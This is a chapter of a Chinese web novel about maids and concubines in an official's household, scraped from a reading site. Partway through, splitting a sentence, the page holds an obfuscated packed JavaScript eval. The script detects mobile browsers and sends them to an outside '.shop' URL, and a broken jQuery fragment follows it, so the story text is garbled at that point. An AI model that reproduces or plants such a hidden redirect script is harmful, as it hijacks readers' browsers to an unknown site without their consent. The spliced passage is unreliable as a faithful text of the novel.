文趣网 > 其他小说 > 丫鬟生存守则 > 60. 撒气
    陈锦盈眸光微闪,说道:“再过几天,就是老爷的好日子。你瞧瞧你,都是府里的姨娘了,怎么还打扮得这么素净,我这里有几件衣裳,几样首饰,你拿回去,等老爷生辰那天穿上,老爷见了也高兴。”

    秋葵捧着衣裳,木槿捧着木匣走进西次间。

    “这......”

    “拿着吧。”陈锦盈替青姨娘做了决定,又道,“叫紫藤进来。”

    姨娘过来见太太时能带着丫鬟,但是丫鬟不能进屋,要在外面的廊下候着。

    蔷薇去外面把紫藤喊进来。

    “给你们姨娘拿着。”陈锦盈吩咐道。

    紫藤看了眼衣裳和首饰,两眼冒出光来,连忙伸手接了过去。

    陈锦盈又问:“老爷的生辰礼可准备好了?”

    青姨娘嗫嚅着说:“没有。”

    陈锦盈和颜悦色地说:“老爷看礼,不在贵重与否,而是心意,你亲手做点什么,老爷不会嫌弃的。再不行,你就告诉我,我帮你挑一件就是了。”

    “多谢太太。”青姨娘道,却没有叫陈锦盈帮她选一件生辰礼。

    陈锦盈知道她是有了主意,只是没好意思告诉自己,便也没有追问。

    见了几位姨娘,又提点了青姨娘几句,陈锦盈觉得有些困乏了,她道:“你回去专心给老爷准备生辰礼吧。”

    青姨娘起身应是,行了礼退下。

    紫藤捧着衣裳首饰,眉飞色舞道:“姨娘,太太对你可真好,这样好的衣裳说赏就赏,你看这衣裳的料子,摸起来可真薄,现在这天穿上,一点都不觉得热了,还有这些首饰,加起来得有三十两了吧......”

    她在一旁口若悬河,青姨娘不时地应付两句,紫藤也不在意,反正青姨娘也不能把她赶到别处去,只能用她。

    自以为重用双儿和诺儿就能撇开她了,真是好笑!

    青姨娘和她其实没什么分别,说白了,她们都要听太太行事!

    回了西厢房,青姨娘进了书房,老爷许久没来这里,但屋里和以前一模一样。

    她拿起桌上绣了一半的香囊,又专心致志地绣了起来。

    一阵风从窗外吹进,将一旁架子上的纸吹得散落在地上。

    青姨娘起身捡起,上面正是老爷以前教她的诗,“素面翻嫌粉涴,洗妆不褪唇红”,青姨娘已经会背,也会写了。

    虽然写起来歪歪扭扭,像孩童初学写的字。老爷见了一定会笑话她,然后握住她的手,再教她写一遍。

    ......

    到了老爷生辰的那天,几位小姐也难掩兴奋,她们已经知道今日晚上的家宴摆在了萧湖上的画舫里,难得一次的外出,她们自然好好珍惜,从早上起来,就开始想出去时要穿什么衣裳,戴什么首饰。

    李乐云和词薇也很高兴,不过她们的高兴,是因为主子们都外出,她们能够清闲、放松。

    就像是以前在学校时,得知班主任请了假一样,心里莫名的感到了轻松。

    小姐们外出不会带上全部的丫鬟,不然一个小姐就带上七个丫鬟,城里的街道都要被他们一行人给堵死。

    等临近黄昏的时候,太太老爷等人便出发了。

    和上次端午一样,林栖梧带上了徐妈妈、贞儿,还有娇伶。

    这次老爷还带上了几个妾室,府里留下了王妈妈坐镇。

    李乐云、词薇等人坐在院子里的石凳上,微风吹拂着,让她们短暂的忘却了烦忧。

    花狸拿出了点心分与众人吃,她笑着道:“这天不好多放,你们也帮我吃点。”

    花狸就好比大小姐身边的娇伶,一样是三等,一样受宠。

    不过花狸是靠着自己的本事,娇伶却是因为她娘是徐妈妈。

    她拿出来的是白糖米糕,是小康厨娘随手做的,虽才入府没几天,却很懂得做人,有头有脸的丫鬟都得到了她的孝敬。

    看到白糖米糕,李乐云就想起了青蕊。

    府里的下人很懂得看人下菜碟,谁能惹,谁不能惹,看下人的态度便能知晓。如果青蕊受宠,像这样的糕点,是绝对不会送到青蕊手边的。

    她有心打探半月院的事情,但词薇知道的也不是很多,毕竟一个小姐院子,一个姨娘院子,有些事能传到百味院,却不好传到小姐的院子里。

    光靠一个词薇,李乐云知道的还是有限。

    “乐云,想什么呢?”词薇笑着道,“来玩儿啊。”

    词薇两手套着一个红圈,这原本是她的红头绳,不过用久了之后就断了,又被她给接上了,两根红头绳系到一起,变成了一个大的绳圈。

    她们不能出府,但并不意味着她们只会无所事事的待着,也会给自己找点好玩儿的事情做。

    词薇这是要和她玩翻花绳。

    李乐云小时候也玩过,不过以前玩的,和现在玩的又有所不同。

    有几个样式李乐云还熟悉,像是刻在了记忆中,李乐云看一眼就知道解法,有几个却是忘记了,还要词薇教她。有的知道解法,动起手来,却又不知道哪里出了错,完全解不开了,这时候又要重新开始。

    虽然玩儿过了许多次,但还是乐此不疲。

    飞鸢在一旁低头绣着手帕,她是三小姐的丫鬟,和三小姐一样,是个文静的性格。

    自打何妈妈离开之后,三小姐脸上的笑容都变多了,身边的丫鬟也经常来找李乐云她们玩儿。

    李乐云便对三小姐多了些了解。

    三小姐颇爱看书,身边的丫鬟名字都是她从诗中选的,飞鸢、遥分、翠微、黛月......听起来一个比一个美。

    三小姐的屋子在南边,这时候屋里若不点蜡烛,比院子里还黑,飞鸢便拿上针线到了院子里缝绣。

    春杏探过头,看着手帕上已经出现一角的荷花,笑着道:“飞鸢,你绣的可真好看,改日我拿针线,你帮我在衣角上也绣一朵荷花。”

    春杏是四小姐房里的丫鬟,平日还挺得脸,四小姐常叫她去做事。

    飞鸢犹豫了下,点点头,“行,你改日把针线、衣裳拿过来吧。”

    司钥连忙道:“也帮我绣一朵,我也拿针线给你。”

    踏雪和盖雪两姐妹也望着她手中的帕子,夸赞道:“我看飞鸢姐姐的绣技要比石姨娘还好。”

    石姨娘的绣技好在府里是公认的事情,太太和老爷都夸赞过。

    当初老太太做主给老爷纳她进府,除了觉得石姨娘好生养,还有一部分原因是看在石姨娘的绣技上。

    到现在每次往家中送节礼,石姨娘都会把她给老太太绣的抹额、鞋垫、帕子......一并塞到节礼里去。

    毕竟分隔两地,本就不能再膝下侍奉,若还不常常送东西表示自己的殷切思念,老太太怕是都会忘了她。

    没老爷的宠爱,再没了老太太的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729270|204539||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    庇护,石姨娘在府中就真的过不下去了。

    李乐云一边和词薇玩儿翻花绳,一边听着她们讲话,听到她们提起了石姨娘,指尖一颤,勾错了线,变成了一个新的花式,但又还不是完全解不开的地步,便没有重来,词薇按着这个新花式继续解下去。

    李乐云假装随口问道:“我来得晚,还不知道石姨娘有这样的本事,她的绣技真有这么厉害?青姨娘和玉姨娘不是才进府吗?她们的绣技未必会比石姨娘差吧?”

    春杏道:“青姨娘不过是丫鬟出身,能有什么好的绣技?石姨娘再怎么样,也是外头正经纳进来的。至于玉姨娘,我前几天倒是听马成家的说,她们去给玉姨娘量身做衣裳,见过玉姨娘屋里的绣品,上面的花样不过平平,是绝对比不上石姨娘绣的花样的。”

    李乐云听她贬低青蕊,心里有些不舒服,不过想着青蕊和自己的关系有些人留心到了,可绝大部分人还是没在意过,便压下心底的那点不舒服,装作好奇地问道:“六月的时候府里不是才做了衣裳吗?怎么马大娘才去给玉姨娘量身?”

    府里换季的时候会做衣裳,上个月针线房的人还拿来料子、花样来找大小姐供她挑选。就算针线房先紧着太太、小姐等人,也不会把这件事拖到七月。要不然等夏季都要过一半儿了,衣裳都还没做出来。

    春杏看来是知道的不少,努了努嘴,说道:“还不是老爷叫人给她做的......我看玉姨娘可真是起来了,这些天老爷的赏赐流水似的送进她屋里,她背后又有知府,要不了多久,半月院要变天了。”

    谈论起姨娘的八卦,众人都来了兴致,七嘴八舌地说起自己知道的消息。

    李乐云却是心绪越发低沉,她不过是少关注了半月院几天,就发生了这样的事,难怪青蕊会突然送来点心,还是丫鬟都能要来的白糖米糕。

    “知道的这么多呀。”度敏不知何时出现在院子里,笑眯眯的看着她们。

    众人吓了一跳。

    度敏不等她们说话,自顾自的说:“这倒是叫我想起来大小姐以前的丫鬟,原先也是屋里伺候的,还是二等,知道许多人不知道的事情,可是呢,仗着小姐的宠爱,无法无天,谁的事情都敢说上一两句,大小姐也对她不喜了,再后来她就被赶出府了。”

    春杏知晓她在点自己,心里却是不服。

    “所以咱们得管住嘴不是,要不然哪天挨了罚,后悔都来不及。”度敏笑着说,“你们说是不是?”

    盖雪、踏雪吓得脸色发白,怯生生的说了句“是”。

    度敏说完,就离开了院子,她过来这里仿佛就只是提醒她们一句。

    有了这一出,众人也没有了聊下去的兴致,天色也已晚了,飞鸢也无法再绣下去,便各自回去。

    司钥、李乐云、词薇慢慢往西耳房去。

    司钥道:“我看度敏就是拿我们撒气呢,小姐不带她出去,又不是咱们的错。”

    小姐们出府,除了带各自的乳娘,大丫鬟去,还在二等丫鬟中挑了一个,可是大小姐却是带了三等丫鬟。

    上次端午,这次老爷生辰,大小姐带的都是娇伶。

    如果不是娇伶,很有可能是带度敏,她心有怨气是意料之中的事。

    只不过再怎么样,也不该把气撒到别人头上。

    度敏自以为做得很好,看似是善意的提醒,可但凡心存恶意,又怎么会不被人察觉出来。